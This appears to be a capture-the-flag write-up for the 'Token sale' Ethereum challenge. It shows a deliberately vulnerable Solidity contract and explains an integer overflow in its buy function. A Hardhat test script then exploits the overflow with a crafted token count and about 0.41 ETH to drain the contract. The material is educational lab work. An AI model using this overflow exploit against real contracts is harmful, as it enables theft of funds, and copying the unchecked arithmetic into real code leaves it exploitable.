07.Token sale

Token sale

topic

pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

analyse

This is an integer overflow vulnerability. This is the vulnerability code:

function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);
        balanceOf[msg.sender] += numTokens;
    }

we should know that:

• 1 ether equals 10^18
• if numTokens larger than type(uint256).max, it will cause an integer overflow vulnerability
• We have to get the maximum possible uint256 = 2^256 - 1, then divide it by 1 ether = 10^18.
• Then, we add 1 to the maxUint256, to ensure that when multiplied by 1 ether(10^18), it causes an overflow.
• Knowing that the overflow will happen, we need to know by how much in order to send the correct msg.value
• We have established that: ((2^256/10^18) + 1) * 10^18 = overflow. So, msg.value needed = overflow - (type(uint256).max + 1) .

msg.value == numTokens * PRICE_PER_TOKEN
2^256 / 10^18 + 1 = 115792089237316195423570985008687907853269984665640564039458
(2^256 / 10^18 + 1) * 10^18 - 2^256 = 415992086870360064 ~= 0.41 ETH

solution

import { expect } from "chai";
import { ethers } from "hardhat";

const { utils } = ethers;

describe("TokenSaleChallenge", () => {
  it("Solves the challenge", async () => {
    const myAddress = ethers.provider.getSigner().getAddress();
    const challengeFactory = await ethers.getContractFactory("TokenSaleChallenge");
    const challengeContract = await challengeFactory.deploy(myAddress, {
      value: utils.parseEther("1"),
    });
    await challengeContract.deployed();

    // msg.value == numTokens * PRICE_PER_TOKEN
    // 2^256 / 10^18 + 1 = 115792089237316195423570985008687907853269984665640564039458
    // (2^256 / 10^18 + 1) * 10^18 - 2^256 = 415992086870360064 ~= 0.41 ETH
    const buyTx = await challengeContract.buy("115792089237316195423570985008687907853269984665640564039458", {
      value: "415992086870360064",
    });
    await buyTx.wait();

    const sellTx = await challengeContract.sell(1);
    await sellTx.wait();

    expect(await challengeContract.isComplete()).to.be.true;
  });
});